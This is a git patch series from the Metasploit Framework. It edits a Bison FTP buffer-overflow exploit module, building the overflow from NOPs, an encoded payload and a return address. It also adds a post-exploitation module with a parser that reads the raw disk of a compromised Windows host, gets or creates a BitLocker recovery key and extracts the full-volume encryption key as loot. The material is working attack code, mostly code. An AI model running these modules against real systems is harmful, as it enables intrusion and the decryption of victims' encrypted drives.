a/modules/exploits/windows/ftp/bison_ftp_bof.rb b/modules/exploits/windows/ftp/bison_ftp_bof.rb index 1c84313c9e..63ee0c5905 100644 --- a/modules/exploits/windows/ftp/bison_ftp_bof.rb +++ b/modules/exploits/windows/ftp/bison_ftp_bof.rb @@ -22,7 +22,7 @@ class Metasploit4 < Msf::Exploit::Remote 'Author' => [ 'localh0t', # initial discovery - 'veerendragg @ SecPod', # initial msf + 'veerendragg', # initial msf 'Jay Turla' # msf ], 'License' => MSF_LICENSE, From bd856322e06cf77be6234967f031fbb754e51200 Mon Sep 17 00:00:00 2001 From: JT <shipcodez@gmail.com> Date: Fri, 20 Nov 2015 09:58:44 +0800 Subject: [PATCH 1267/2172] Update bison_ftp_bof.rb --- modules/exploits/windows/ftp/bison_ftp_bof.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/exploits/windows/ftp/bison_ftp_bof.rb b/modules/exploits/windows/ftp/bison_ftp_bof.rb index 63ee0c5905..cdbb266cf0 100644 --- a/modules/exploits/windows/ftp/bison_ftp_bof.rb +++ b/modules/exploits/windows/ftp/bison_ftp_bof.rb @@ -77,9 +77,9 @@ class Metasploit4 < Msf::Exploit::Remote connect #connect for the second time buf = rand_text_alpha(1028) - buf << "\x90" * 16 + buf << make_nops(16) buf << payload.encoded - buf << "\x90" * (388 - payload.encoded.length) + buf << make_nops(388 - payload.encoded.length) buf << [target.ret].pack('V') buf << rand_text_alpha(39) print_status('Sending payload...') From 1dee6dca1bfdd28c8916826e7b97edbf5c71422f Mon Sep 17 00:00:00 2001 From: JT <shipcodez@gmail.com> Date: Fri, 20 Nov 2015 13:37:46 +0800 Subject: [PATCH 1268/2172] Update bison_ftp_bof.rb --- modules/exploits/windows/ftp/bison_ftp_bof.rb | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/modules/exploits/windows/ftp/bison_ftp_bof.rb b/modules/exploits/windows/ftp/bison_ftp_bof.rb index cdbb266cf0..4170cadea0 100644 --- a/modules/exploits/windows/ftp/bison_ftp_bof.rb +++ b/modules/exploits/windows/ftp/bison_ftp_bof.rb @@ -22,7 +22,7 @@ class Metasploit4 < Msf::Exploit::Remote 'Author' => [ 'localh0t', # initial discovery - 'veerendragg', # initial msf + 'veerendragg @ SecPod', # initial msf 'Jay Turla' # msf ], 'License' => MSF_LICENSE, @@ -48,7 +48,7 @@ class Metasploit4 < Msf::Exploit::Remote [ 'Bisonware FTP Server / Windows XP SP3 EN', { 'Ret' => 0x0040333f, - 'Offset' => 1432 + 'Offset' => 1028 } ], ], @@ -76,7 +76,7 @@ class Metasploit4 < Msf::Exploit::Remote print_status('Connecting for the second time to deliver our payload...') connect #connect for the second time - buf = rand_text_alpha(1028) + buf = rand_text_alpha(target['Offset']) buf << make_nops(16) buf << payload.encoded buf << make_nops(388 - payload.encoded.length) From e3bca890c133e4072d1119bb01c37603f6327b62 Mon Sep 17 00:00:00 2001 From: JT <shipcodez@gmail.com> Date: Fri, 20 Nov 2015 23:45:15 +0800 Subject: [PATCH 1269/2172] Update bison_ftp_bof.rb --- modules/exploits/windows/ftp/bison_ftp_bof.rb | 1 - 1 file changed, 1 deletion(-) diff --git a/modules/exploits/windows/ftp/bison_ftp_bof.rb b/modules/exploits/windows/ftp/bison_ftp_bof.rb index 4170cadea0..147b3949e0 100644 --- a/modules/exploits/windows/ftp/bison_ftp_bof.rb +++ b/modules/exploits/windows/ftp/bison_ftp_bof.rb @@ -81,7 +81,6 @@ class Metasploit4 < Msf::Exploit::Remote buf << payload.encoded buf << make_nops(388 - payload.encoded.length) buf << [target.ret].pack('V') - buf << rand_text_alpha(39) print_status('Sending payload...') sock.put(buf) From c8847182d7e451e3b06302f4243f47aa8b1a9204 Mon Sep 17 00:00:00 2001 From: BAZIN-HSC <dbn@hsc.fr> Date: Wed, 7 Oct 2015 11:16:49 +0200 Subject: [PATCH 1270/2172] Add module to dump Bitlocker master key (FVEK) --- Gemfile.lock | 2 + lib/rex/parser/fs/bitlocker.rb | 233 ++++++++++++++++++ metasploit-framework.gemspec | 2 + modules/post/windows/gather/bitlocker_fvek.rb | 142 +++++++++++ 4 files changed, 379 insertions(+) create mode 100644 lib/rex/parser/fs/bitlocker.rb create mode 100644 modules/post/windows/gather/bitlocker_fvek.rb diff --git a/Gemfile.lock b/Gemfile.lock index 72c39f577a..a04e99a1c3 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -18,6 +18,7 @@ PATH msgpack network_interface (~> 0.0.1) nokogiri + openssl-ccm (= 1.2.1) packetfu (= 1.1.11) pcaprub pg (>= 0.11) @@ -144,6 +145,7 @@ GEM network_interface (0.0.1) nokogiri (1.6.6.2) mini_portile (~> 0.6.0) + openssl-ccm (1.2.1) packetfu (1.1.11) network_interface (~> 0.0) pcaprub (~> 0.12) diff --git a/lib/rex/parser/fs/bitlocker.rb b/lib/rex/parser/fs/bitlocker.rb new file mode 100644 index 0000000000..c21360c050 --- /dev/null +++ b/lib/rex/parser/fs/bitlocker.rb @@ -0,0 +1,233 @@ +# -*- coding: binary -*- +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## +require 'openssl/ccm' +require 'metasm' +module Rex + module Parser + ### + # + # This class parses the content of a Bitlocker partition file. + # Author : Danil Bazin <danil.bazin[at]hsc.fr> @danilbaz + # + ### + class BITLOCKER + BLOCK_HEADER_SIZE = 64 + METADATA_HEADER_SIZE = 48 + + ENTRY_TYPE_NONE = 0x0000 + ENTRY_TYPE_VMK = 0x0002 + ENTRY_TYPE_FVEK = 0x0003 + ENTRY_TYPE_STARTUP_KEY = 0x0006 + ENTRY_TYPE_DESC = 0x0007 + ENTRY_TYPE_HEADER = 0x000f + + VALUE_TYPE_ERASED = 0x0000 + VALUE_TYPE_KEY = 0x0001 + VALUE_TYPE_STRING = 0x0002 + VALUE_TYPE_STRETCH_KEY = 0x0003 + VALUE_TYPE_ENCRYPTED_KEY = 0x0005 + VALUE_TYPE_TPM = 0x0006 + VALUE_TYPE_VALIDATION = 0x0007 + VALUE_TYPE_VMK = 0x0008 + VALUE_TYPE_EXTERNAL_KEY = 0x0009 + VALUE_TYPE_UPDATE = 0x000a + VALUE_TYPE_ERROR = 0x000b + + PROTECTION_TPM = 0x0100 + PROTECTION_CLEAR_KEY = 0x0000 + PROTECTION_STARTUP_KEY = 0x0200 + PROTECTION_RECOVERY_PASSWORD = 0x0800 + PROTECTION_PASSWORD = 0x2000 + + def initialize(file_handler) + @file_handler = file_handler + volume_header = @file_handler.read(512) + @fs_sign = volume_header[3, 8] + unless @fs_sign == '-FVE-FS-' + fail ArgumentError, 'File system signature does not match Bitlocker : + #@fs_sign}, bitlocker not used', caller + end + @fve_offset = volume_header[176, 8].unpack('Q')[0] + + @file_handler.seek_relative_volume(@fve_offset) + @fve_raw = @file_handler.read(4096) + @encryption_methods = @fve_raw[BLOCK_HEADER_SIZE + 36, 4].unpack('V')[0] + size = @fve_raw[BLOCK_HEADER_SIZE, 4].unpack('V')[0] - + METADATA_HEADER_SIZE + @metadata_entries = @fve_raw[BLOCK_HEADER_SIZE + METADATA_HEADER_SIZE, + size] + @version = @fve_raw[BLOCK_HEADER_SIZE + 4] + @fve_metadata_entries = fve_entries(@metadata_entries) + @vmk_entries_hash = vmk_entries + end + + # Extract FVEK and prefix it with the encryption methods integer on + # 2 bytes + def fvek_from_recovery_password_dislocker(recoverykey) + [@encryption_methods].pack('v') + + fvek_from_recovery_password(recoverykey) + end + + # Strech recovery key with all stretch key and try to decrypt all VMK + # encrypted with a recovery key + def vmk_from_recovery_password(recoverykey) + recovery_keys_streched = recovery_key_transformation(recoverykey) + vmk_encrypted_in_recovery_password_list = @vmk_entries_hash[ + PROTECTION_RECOVERY_PASSWORD] + vmk_recovery_password = '' + vmk_encrypted_in_recovery_password_list.each do |vmk| + vmk_encrypted = vmk[ENTRY_TYPE_NONE][VALUE_TYPE_ENCRYPTED_KEY][0] + recovery_keys_streched.each do |recovery_key| + vmk_recovery_password = decrypt_aes_ccm_key( + vmk_encrypted, recovery_key) + break if vmk_recovery_password != '' + end + break if vmk_recovery_password != '' + end + if vmk_recovery_password == '' + fail ArgumentError, 'Wrong decryption, bad recovery key?' + end + vmk_recovery_password + end + + # Extract FVEK using the provided recovery key + def fvek_from_recovery_password(recoverykey) + vmk_recovery_password = vmk_from_recovery_password(recoverykey) + fvek_encrypted = fvek_entries + fvek = decrypt_aes_ccm_key(fvek_encrypted, vmk_recovery_password) + fvek + end + + def decrypt_aes_ccm_key(fve_entry, key) + nonce = fve_entry[0, 12] + mac = fve_entry[12, 16] + encrypted_data = fve_entry[28..-1] + ccm = OpenSSL::CCM.new('AES', key, 16) + decrypted_data = ccm.decrypt(encrypted_data + mac, nonce) + decrypted_data[12..-1] + end + + # Parse the metadata_entries and return a hashmap using the + # following format: + # {metadata_entry_type => {metadata_value_type => [fve_entry,...]}} + def fve_entries(metadata_entries) + offset_entry = 0 + entry_size = metadata_entries[0, 2].unpack('v')[0] + result = Hash.new({}) + while entry_size != 0 + metadata_entry_type = metadata_entries[ + offset_entry + 2, 2].unpack('v')[0] + metadata_value_type = metadata_entries[ + offset_entry + 4, 2].unpack('v')[0] + metadata_entry = metadata_entries[offset_entry + 8, entry_size - 8] + if result[metadata_entry_type] == {} + result[metadata_entry_type] = { metadata_value_type => [ + metadata_entry] } + else + if result[metadata_entry_type][metadata_value_type].nil? + result[metadata_entry_type][metadata_value_type] = [ + metadata_entry] + else + result[metadata_entry_type][metadata_value_type] += [ + metadata_entry] + end + end + offset_entry += entry_size + if metadata_entries[offset_entry, 2] != '' + entry_size = metadata_entries[offset_entry, 2].unpack('v')[0] + else + entry_size = 0 + end + end + result + end + + # Dummy strcpy to use with metasm and string asignement + def strcpy(str_src, str_dst) + (0..(str_src.length - 1)).each do |cpt| + str_dst[cpt] = str_src[cpt].ord + end + end + + # Strech all the Recovrey key and returns it + def recovery_key_transformation(recoverykey) + # recovery key stretching phase 1 + recovery_intermediate = recoverykey.split('-').map(&:to_i) + recovery_intermediate.each do |n| + n % 11 != 0 && (fail ArgumentError, 'Invalid recovery key') + end + recovery_intermediate = + recovery_intermediate.map { |a| (a / 11) }.pack('v*') + + # recovery key stretching phase 2 + recovery_keys = [] + cpu = Metasm.const_get('Ia32').new + exe = Metasm.const_get('Shellcode').new(cpu) + cp = Metasm::C::Parser.new(exe) + bitlocker_struct_src = <<-EOS + typedef struct { + unsigned char updated_hash[32]; + unsigned char password_hash[32]; + unsigned char salt[16]; + unsigned long long int hash_count; + } bitlocker_chain_hash_t; + EOS + cp.parse bitlocker_struct_src + btl_struct = Metasm::C::AllocCStruct.new(cp, cp.find_c_struct( + 'bitlocker_chain_hash_t')) + vmk_protected_by_recovery_key = @vmk_entries_hash[ + PROTECTION_RECOVERY_PASSWORD] + if vmk_protected_by_recovery_key.nil? + fail ArgumentError, 'No recovery key on disk' + end + vmk_protected_by_recovery_key.each do |vmk_encrypted| + vmk_encrypted_raw = vmk_encrypted[ENTRY_TYPE_NONE][ + VALUE_TYPE_STRETCH_KEY][0] + stretch_key_salt = vmk_encrypted_raw[4, 16] + strcpy(Digest::SHA256.digest(recovery_intermediate), + btl_struct.password_hash) + strcpy(stretch_key_salt, btl_struct.salt) + btl_struct.hash_count = 0 + sha256 = Digest::SHA256.new + btl_struct_raw = btl_struct.str + btl_struct_hash_count_offset = btl_struct.struct.fldoffset[ + 'hash_count'] + (1..0x100000).each do |c| + updated_hash = sha256.digest(btl_struct_raw) + btl_struct_raw = updated_hash + btl_struct_raw \ + [btl_struct.updated_hash.sizeof..( + btl_struct_hash_count_offset - 1)] + [c].pack('Q') + sha256.reset + end + recovery_keys += [btl_struct_raw[btl_struct.updated_hash.stroff, + btl_struct.updated_hash.sizeof]] + end + recovery_keys + end + + # Return FVEK entry, encrypted with the VMK + def fvek_entries + @fve_metadata_entries[ENTRY_TYPE_FVEK][ + VALUE_TYPE_ENCRYPTED_KEY][ENTRY_TYPE_NONE] + end + + # Produce a hash map using the following format: + # {PROTECTION_TYPE => [fve_entry, fve_entry...]} + def vmk_entries + res = {} + (@fve_metadata_entries[ENTRY_TYPE_VMK][VALUE_TYPE_VMK]).each do |vmk| + protection_type = vmk[26, 2].unpack('v')[0] + if res[protection_type].nil? + res[protection_type] = [fve_entries(vmk[28..-1])] + else + res[protection_type] += [fve_entries(vmk[28..-1])] + end + end + res + end + end + end +end diff --git a/metasploit-framework.gemspec b/metasploit-framework.gemspec index 42ecd12018..55ed725587 100644 --- a/metasploit-framework.gemspec +++ b/metasploit-framework.gemspec @@ -85,6 +85,8 @@ Gem::Specification.new do |spec| spec.add_runtime_dependency 'railties' # required for OS fingerprinting spec.add_runtime_dependency 'recog', '2.0.14' + # required for bitlocker fvek extraction + spec.add_runtime_dependency 'openssl-ccm', '1.2.1' # rb-readline doesn't work with Ruby Installer due to error with Fiddle: # NoMethodError undefined method `dlopen' for Fiddle:Module diff --git a/modules/post/windows/gather/bitlocker_fvek.rb b/modules/post/windows/gather/bitlocker_fvek.rb new file mode 100644 index 0000000000..5408e4dac2 --- /dev/null +++ b/modules/post/windows/gather/bitlocker_fvek.rb @@ -0,0 +1,142 @@ +require 'rex/parser/fs/bitlocker' + +class Metasploit3 < Msf::Post + include Msf::Post::Windows::Priv + include Msf::Post::Windows::Error + include Msf::Post::Windows::ExtAPI + include Msf::Post::Windows::FileInfo + + ERROR = Msf::Post::Windows::Error + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Bitlocker Master Key (FVEK) Extraction', + 'Description' => %q{ + This module enumerates ways to decrypt bitlocker volume and if a recovery key is stored locally + or can be generated, dump the Bitlocker master key (FVEK) + }, + 'License' => 'MSF_LICENSE', + 'Platform' => ['win'], + 'SessionTypes' => ['meterpreter'], + 'Author' => ['Danil Bazin <danil.bazin[at]hsc.fr>'], # @danilbaz + 'References' => [ + ['URL', 'https://github.com/libyal/libbde/blob/master/documentation/BitLocker Drive Encryption (BDE) format.asciidoc'], + ['URL', 'http://www.hsc.fr/ressources/outils/dislocker/'] + ] + )) + + register_options( + [ + OptString.new('DRIVE_LETTER', [true, 'Dump informations from the DRIVE_LETTER encrypted with Bitlocker', nil]), + OptString.new('RECOVERY_KEY', [false, 'Use the recovery key provided to decrypt the Bitlocker master key (FVEK)', nil]) + ], self.class) + end + + def run + file_path = session.sys.config.getenv('windir') << '\\system32\\win32k.sys' + major, minor, _build, _revision, _branch = file_version(file_path) + winver = (major.to_s + '.' + minor.to_s).to_f + + fail_with(Exploit::Failure::NoTarget, 'Module not valid for OS older that Windows 7') if winver <= 6 + fail_with(Exploit::Failure::NoAccess, 'You don\'t have administrative privileges') unless is_admin? + + drive_letter = datastore['DRIVE_LETTER'] + + cmd_out = cmd_exec('wmic', "logicaldisk #{drive_letter}: ASSOC:list /assocclass:Win32_LogicalDiskToPartition") + + @starting_offset = cmd_out.match(/StartingOffset=(\d+)/)[1].to_i + + drive_number = cmd_out.match(/DiskIndex=(\d+)/)[1] + + r = client.railgun.kernel32.CreateFileW("\\\\.\\PhysicalDrive#{drive_number}", + 'GENERIC_READ', + 'FILE_SHARE_DELETE|FILE_SHARE_READ|FILE_SHARE_WRITE', + nil, + 'OPEN_EXISTING', + 'FILE_FLAG_WRITE_THROUGH', + 0) + + if r['GetLastError'] != ERROR::SUCCESS + fail_with( + Exploit::Failure::Unknown, + "Error opening #{drive_letter}. Windows Error Code: #{r['GetLastError']} + - #{r['ErrorMessage']}") + end + + @handle = r['return'] + print_good("Successfuly opened Disk #{drive_number}") + seek_relative_volume(0) + + print_status('Trying to gather a recovery key') + + cmd_out = cmd_exec('C:\\Windows\\sysnative\\manage-bde.exe', + "-protectors -get #{drive_letter}:") + + recovery_key = cmd_out.match(/((\d{6}-){7}\d{6})/) + + if !recovery_key.nil? + recovery_key = recovery_key[1] + print_good("Recovery key found : #{recovery_key}") + else + print_status('No recovery key found, trying to generate a new recovery key') + cmd_out = cmd_exec('C:\\Windows\\sysnative\\manage-bde.exe', + "-protectors -add #{drive_letter}: -RecoveryPassword") + recovery_key = cmd_out.match(/((\d{6}-){7}\d{6})/) + id_key_tmp = cmd_out.match(/(\{[^\}]+\})/) + if !recovery_key.nil? + recovery_key = recovery_key[1] + id_key_tmp = id_key_tmp[1] + print_good("Recovery key generated successfuly : #{recovery_key}") + else + print_status('Recovery Key generation failed') + if !datastore['RECOVERY_KEY'].nil? + print_status('Using provided recovery key') + recovery_key = datastore['RECOVERY_KEY'] + else + print_status('No recovery key can be used') + return + end + end + end + + begin + @bytes_read = 0 + fs = Rex::Parser::BITLOCKER.new(self) + print_status('The recovery key derivation usually take 20 seconds...') + fvek = fs.fvek_from_recovery_password_dislocker(recovery_key) + if fvek != '' && !fvek.nil? + stored_path = store_loot('windows.file', 'application/octet-stream', + session, fvek) + print_good("Successfuly extract FVEK in #{stored_path}") + print_good('This hard drive could later be decrypted using : dislocker -k <key_file> ...') + else + print_bad('Failed to generate FVEK, wrong recovery key?') + end + ensure + unless id_key_tmp.nil? + print_status('Deleting temporary recovery key') + cmd_exec('C:\\Windows\\sysnative\\manage-bde.exe', + "-protectors -delete #{drive_letter}: -id #{id_key_tmp}") + end + client.railgun.kernel32.CloseHandle(@handle) + end + print_status('Post Successful') + end + + def read(size) + client.railgun.kernel32.ReadFile(@handle, size, size, 4, nil)['lpBuffer'] + end + + def seek(offset) + high_offset = offset >> 32 + low_offset = offset & (2**33 - 1) + client.railgun.kernel32.SetFilePointer(@handle, low_offset, high_offset, 0) + end + + def seek_relative_volume(offset) + offset += @starting_offset + high_offset = offset >> 32 + low_offset = offset & (2**33 - 1) + client.railgun.kernel32.SetFilePointer(@handle, low_offset, high_offset, 0) + end +end From 7d9d74f60963fff82b6fd8e6a2ed6320f2e06b0f Mon Sep 17 00:00:00 2001 From: BAZIN-HSC <dbn@hsc.fr> Date: Wed, 7 Oct 2015 14:03:27 +0200 Subject: [PATCH 1271/2172] msftidy... --- modules/post/windows/gather/bitlocker_fvek.rb | 7 +++---- 1 file changed, 3 insertions(+), 4 deletions(-) diff --git a/modules/post/windows/gather/bitlocker_fvek.rb b/modules/post/windows/gather/bitlocker_fvek.rb index 5408e4dac2..6418aca287 100644 --- a/modules/post/windows/gather/bitlocker_fvek.rb +++ b/modules/post/windows/gather/bitlocker_fvek.rb @@ -37,8 +37,8 @@ class Metasploit3 < Msf::Post major, minor, _build, _revision, _branch = file_version(file_path) winver = (major.to_s + '.' + minor.to_s).to_f - fail_with(Exploit::Failure::NoTarget, 'Module not valid for OS older that Windows 7') if winver <= 6 - fail_with(Exploit::Failure::NoAccess, 'You don\'t have administrative privileges') unless is_admin? + fail_with(Failure::NoTarget, 'Module not valid for OS older that Windows 7') if winver <= 6 + fail_with(Failure::NoAccess, 'You don\'t have administrative privileges') unless is_admin? drive_letter = datastore['DRIVE_LETTER'] @@ -57,8 +57,7 @@ class Metasploit3 < Msf::Post 0) if r['GetLastError'] != ERROR::SUCCESS - fail_with( - Exploit::Failure::Unknown, + fail_with(Failure::Unknown, "Error opening #{drive_letter}. Windows Error Code: #{r['GetLastError']} - #{r['ErrorMessage']}") end From 8f135c07aa565d218a626ac7ba605fbf14b439da Mon Sep 17 00:00:00 2001 From: BAZIN-HSC <dbn@hsc.fr> Date: Fri, 30 Oct 2015 09:51:30 +0100 Subject: [PATCH 1272/2172] Remove hard coded C:\Windows and use %SYSTEMROOT% --- modules/post/windows/gather/bitlocker_fvek.rb | 8 +++++--- 1 file changed, 5 insertions(+), 3 deletions(-) diff --git a/modules/post/windows/gather/bitlocker_fvek.rb b/modules/post/windows/gather/bitlocker_fvek.rb index 6418aca287..a264f94d5d 100644 --- a/modules/post/windows/gather/bitlocker_fvek.rb +++ b/modules/post/windows/gather/bitlocker_fvek.rb @@ -5,6 +5,7 @@ class Metasploit3 < Msf::Post include Msf::Post::Windows::Error include Msf::Post::Windows::ExtAPI include Msf::Post::Windows::FileInfo + include Msf::Post::File ERROR = Msf::Post::Windows::Error @@ -41,6 +42,7 @@ class Metasploit3 < Msf::Post fail_with(Failure::NoAccess, 'You don\'t have administrative privileges') unless is_admin? drive_letter = datastore['DRIVE_LETTER'] + system_root = expand_path('%SYSTEMROOT%') cmd_out = cmd_exec('wmic', "logicaldisk #{drive_letter}: ASSOC:list /assocclass:Win32_LogicalDiskToPartition") @@ -68,7 +70,7 @@ class Metasploit3 < Msf::Post print_status('Trying to gather a recovery key') - cmd_out = cmd_exec('C:\\Windows\\sysnative\\manage-bde.exe', + cmd_out = cmd_exec("#{system_root}\\sysnative\\manage-bde.exe", "-protectors -get #{drive_letter}:") recovery_key = cmd_out.match(/((\d{6}-){7}\d{6})/) @@ -78,7 +80,7 @@ class Metasploit3 < Msf::Post print_good("Recovery key found : #{recovery_key}") else print_status('No recovery key found, trying to generate a new recovery key') - cmd_out = cmd_exec('C:\\Windows\\sysnative\\manage-bde.exe', + cmd_out = cmd_exec("#{system_root}\\sysnative\\manage-bde.exe", "-protectors -add #{drive_letter}: -RecoveryPassword") recovery_key = cmd_out.match(/((\d{6}-){7}\d{6})/) id_key_tmp = cmd_out.match(/(\{[^\}]+\})/) @@ -114,7 +116,7 @@ class Metasploit3 < Msf::Post ensure unless id_key_tmp.nil? print_status('Deleting temporary recovery key') - cmd_exec('C:\\Windows\\sysnative\\manage-bde.exe', + cmd_exec("#{system_root}\\sysnative\\manage-bde.exe", "-protectors -delete #{drive_letter}: -id #{id_key_tmp}") end client.railgun.kernel32.CloseHandle(@handle) From f49d6905a676bae385b827c392f5d2ae6de1cda7 Mon Sep 17 00:00:00 2001 From: BAZIN-HSC <dbn@hsc.fr> Date: Thu, 12 Nov 2015 17:53:48 +0100 Subject: [PATCH 1273/2172] Fix comments by @jhart-r7 --- lib/rex/parser/fs/bitlocker.rb | 8 ++++---- modules/post/windows/gather/bitlocker_fvek.rb | 4 ++-- 2 files changed, 6 insertions(+), 6 deletions(-) diff --git a/lib/rex/parser/fs/bitlocker.rb b/lib/rex/parser/fs/bitlocker.rb index c21360c050..07ac7448ac 100644 --- a/lib/rex/parser/fs/bitlocker.rb +++ b/lib/rex/parser/fs/bitlocker.rb @@ -71,16 +71,16 @@ module Rex fvek_from_recovery_password(recoverykey) end - # Strech recovery key with all stretch key and try to decrypt all VMK + # stretch recovery key with all stretch key and try to decrypt all VMK # encrypted with a recovery key def vmk_from_recovery_password(recoverykey) - recovery_keys_streched = recovery_key_transformation(recoverykey) + recovery_keys_stretched = recovery_key_transformation(recoverykey) vmk_encrypted_in_recovery_password_list = @vmk_entries_hash[ PROTECTION_RECOVERY_PASSWORD] vmk_recovery_password = '' vmk_encrypted_in_recovery_password_list.each do |vmk| vmk_encrypted = vmk[ENTRY_TYPE_NONE][VALUE_TYPE_ENCRYPTED_KEY][0] - recovery_keys_streched.each do |recovery_key| + recovery_keys_stretched.each do |recovery_key| vmk_recovery_password = decrypt_aes_ccm_key( vmk_encrypted, recovery_key) break if vmk_recovery_password != '' @@ -152,7 +152,7 @@ module Rex end end - # Strech all the Recovrey key and returns it + # stretch all the Recovrey key and returns it def recovery_key_transformation(recoverykey) # recovery key stretching phase 1 recovery_intermediate = recoverykey.split('-').map(&:to_i) diff --git a/modules/post/windows/gather/bitlocker_fvek.rb b/modules/post/windows/gather/bitlocker_fvek.rb index a264f94d5d..d14bb499a9 100644 --- a/modules/post/windows/gather/bitlocker_fvek.rb +++ b/modules/post/windows/gather/bitlocker_fvek.rb @@ -105,7 +105,7 @@ class Metasploit3 < Msf::Post fs = Rex::Parser::BITLOCKER.new(self) print_status('The recovery key derivation usually take 20 seconds...') fvek = fs.fvek_from_recovery_password_dislocker(recovery_key) - if fvek != '' && !fvek.nil? + if !fvek.blank? stored_path = store_loot('windows.file', 'application/octet-stream', session, fvek) print_good("Successfuly extract FVEK in #{stored_path}") @@ -114,7 +114,7 @@ class Metasploit3 < Msf::Post print_bad('Failed to generate FVEK, wrong recovery key?') end ensure - unless id_key_tmp.nil? + unless id_key_tmp print_status('Deleting temporary recovery key') cmd_exec("#{system_root}\\sysnative\\manage-bde.exe", "-protectors -delete #{drive_letter}: -id #{id_key_tmp}") From dd027982aee60d3969df5c6f7bcffb613f39c821 Mon Sep 17 00:00:00 2001 From: BAZIN-HSC <dbn@hsc.fr> Date: Thu, 12 Nov 2015 19:20:45 +0100 Subject: [PATCH 1274/2172] if recovery_key specified, only method that is tried --- modules/post/windows/gather/bitlocker_fvek.rb | 38 +++++++++---------- 1 file changed, 19 insertions(+), 19 deletions(-) diff --git a/modules/post/windows/gather/bitlocker_fvek.rb b/modules/post/windows/gather/bitlocker_fvek.rb index d14bb499a9..9b1ce0d2f0 100644 --- a/modules/post/windows/gather/bitlocker_fvek.rb +++ b/modules/post/windows/gather/bitlocker_fvek.rb @@ -68,32 +68,32 @@ class Metasploit3 < Msf::Post print_good("Successfuly opened Disk #{drive_number}") seek_relative_volume(0) - print_status('Trying to gather a recovery key') - - cmd_out = cmd_exec("#{system_root}\\sysnative\\manage-bde.exe", - "-protectors -get #{drive_letter}:") - - recovery_key = cmd_out.match(/((\d{6}-){7}\d{6})/) - - if !recovery_key.nil? - recovery_key = recovery_key[1] - print_good("Recovery key found : #{recovery_key}") + if !datastore['RECOVERY_KEY'].nil? + print_status('Using provided recovery key') + recovery_key = datastore['RECOVERY_KEY'] else - print_status('No recovery key found, trying to generate a new recovery key') + print_status('Trying to gather a recovery key') + cmd_out = cmd_exec("#{system_root}\\sysnative\\manage-bde.exe", - "-protectors -add #{drive_letter}: -RecoveryPassword") + "-protectors -get #{drive_letter}:") + recovery_key = cmd_out.match(/((\d{6}-){7}\d{6})/) - id_key_tmp = cmd_out.match(/(\{[^\}]+\})/) + if !recovery_key.nil? recovery_key = recovery_key[1] - id_key_tmp = id_key_tmp[1] - print_good("Recovery key generated successfuly : #{recovery_key}") + print_good("Recovery key found : #{recovery_key}") else - print_status('Recovery Key generation failed') - if !datastore['RECOVERY_KEY'].nil? - print_status('Using provided recovery key') - recovery_key = datastore['RECOVERY_KEY'] + print_status('No recovery key found, trying to generate a new recovery key') + cmd_out = cmd_exec("#{system_root}\\sysnative\\manage-bde.exe", + "-protectors -add #{drive_letter}: -RecoveryPassword") + recovery_key = cmd_out.match(/((\d{6}-){7}\d{6})/) + id_key_tmp = cmd_out.match(/(\{[^\}]+\})/) + if !recovery_key.nil? + recovery_key = recovery_key[1] + id_key_tmp = id_key_tmp[1] + print_good("Recovery key generated successfuly : #{recovery_key}") else + print_status('Recovery Key generation failed') print_status('No recovery key can be used') return end From 5592e4e4eac937d1d20ca8d2320c2d1937b12921 Mon Sep 17 00:00:00 2001 From: BAZIN-HSC <dbn@hsc.fr> Date: Thu, 12 Nov 2015 19:37:52 +0100 Subject: [PATCH 1275/2172] seek_relative suppression (use seek instead) --- lib/rex/parser/fs/bitlocker.rb | 2 +- modules/post/windows/gather/bitlocker_fvek.rb | 8 +------- 2 files changed, 2 insertions(+), 8 deletions(-) diff --git a/lib/rex/parser/fs/bitlocker.rb b/lib/rex/parser/fs/bitlocker.rb index 07ac7448ac..de1b2cfd15 100644 --- a/lib/rex/parser/fs/bitlocker.rb +++ b/lib/rex/parser/fs/bitlocker.rb @@ -52,7 +52,7 @@ module Rex end @fve_offset = volume_header[176, 8].unpack('Q')[0] - @file_handler.seek_relative_volume(@fve_offset) + @file_handler.seek(@fve_offset) @fve_raw = @file_handler.read(4096) @encryption_methods = @fve_raw[BLOCK_HEADER_SIZE + 36, 4].unpack('V')[0] size = @fve_raw[BLOCK_HEADER_SIZE, 4].unpack('V')[0] - diff --git a/modules/post/windows/gather/bitlocker_fvek.rb b/modules/post/windows/gather/bitlocker_fvek.rb index 9b1ce0d2f0..f5a8ad475f 100644 --- a/modules/post/windows/gather/bitlocker_fvek.rb +++ b/modules/post/windows/gather/bitlocker_fvek.rb @@ -66,7 +66,7 @@ class Metasploit3 < Msf::Post @handle = r['return'] print_good("Successfuly opened Disk #{drive_number}") - seek_relative_volume(0) + seek(0) if !datastore['RECOVERY_KEY'].nil? print_status('Using provided recovery key') @@ -129,12 +129,6 @@ class Metasploit3 < Msf::Post end def seek(offset) - high_offset = offset >> 32 - low_offset = offset & (2**33 - 1) - client.railgun.kernel32.SetFilePointer(@handle, low_offset, high_offset, 0) - end - - def seek_relative_volume(offset) offset += @starting_offset high_offset = offset >> 32 low_offset = offset & (2**33 - 1) From c2483faec8a74d4f81b27494fb731d740078f425 Mon Sep 17 00:00:00 2001 From: BAZIN-HSC <dbn@hsc.fr> Date: Fri, 20 Nov 2015 17:42:50 +0100 Subject: [PATCH 1276/2172] Add Bitlcoker spec file --- spec/lib/rex/parser/fs/bitlocker_spec.rb | 92 ++++++++++++++++++++++++ 1 file changed, 92 insertions(+) create mode 100644 spec/lib/rex/parser/fs/bitlocker_spec.rb diff --git a/spec/lib/rex/parser/fs/bitlocker_spec.rb b/spec/lib/rex/parser/fs/bitlocker_spec.rb new file mode 100644 index 0000000000..5c11f01eaa --- /dev/null +++ b/spec/lib/rex/parser/fs/bitlocker_spec.rb @@ -0,0 +1,92 @@ +require 'rex/parser/fs/bitlocker' + +volume_header = [%( +eb58902d4656452d46532d00020800000000000000f800003f00ff008000010000000000e01f0000 +000000000000000001000600000000000000000000000000800029000000004e4f204e414d452020 +2020464154333220202033c98ed1bcf47b8ec18ed9bd007ca0fb7db47d8bf0ac9840740c48740eb4 +0ebb0700cd10ebefa0fd7debe6cd16cd190000000000000000000000000000000000000000000000 +3bd66749292ed84a8399f6a339e3d00100001002000000000000c002000000000000700300000000 +00000000000000000000000000000000000000000000000000000000000000000000000000000000 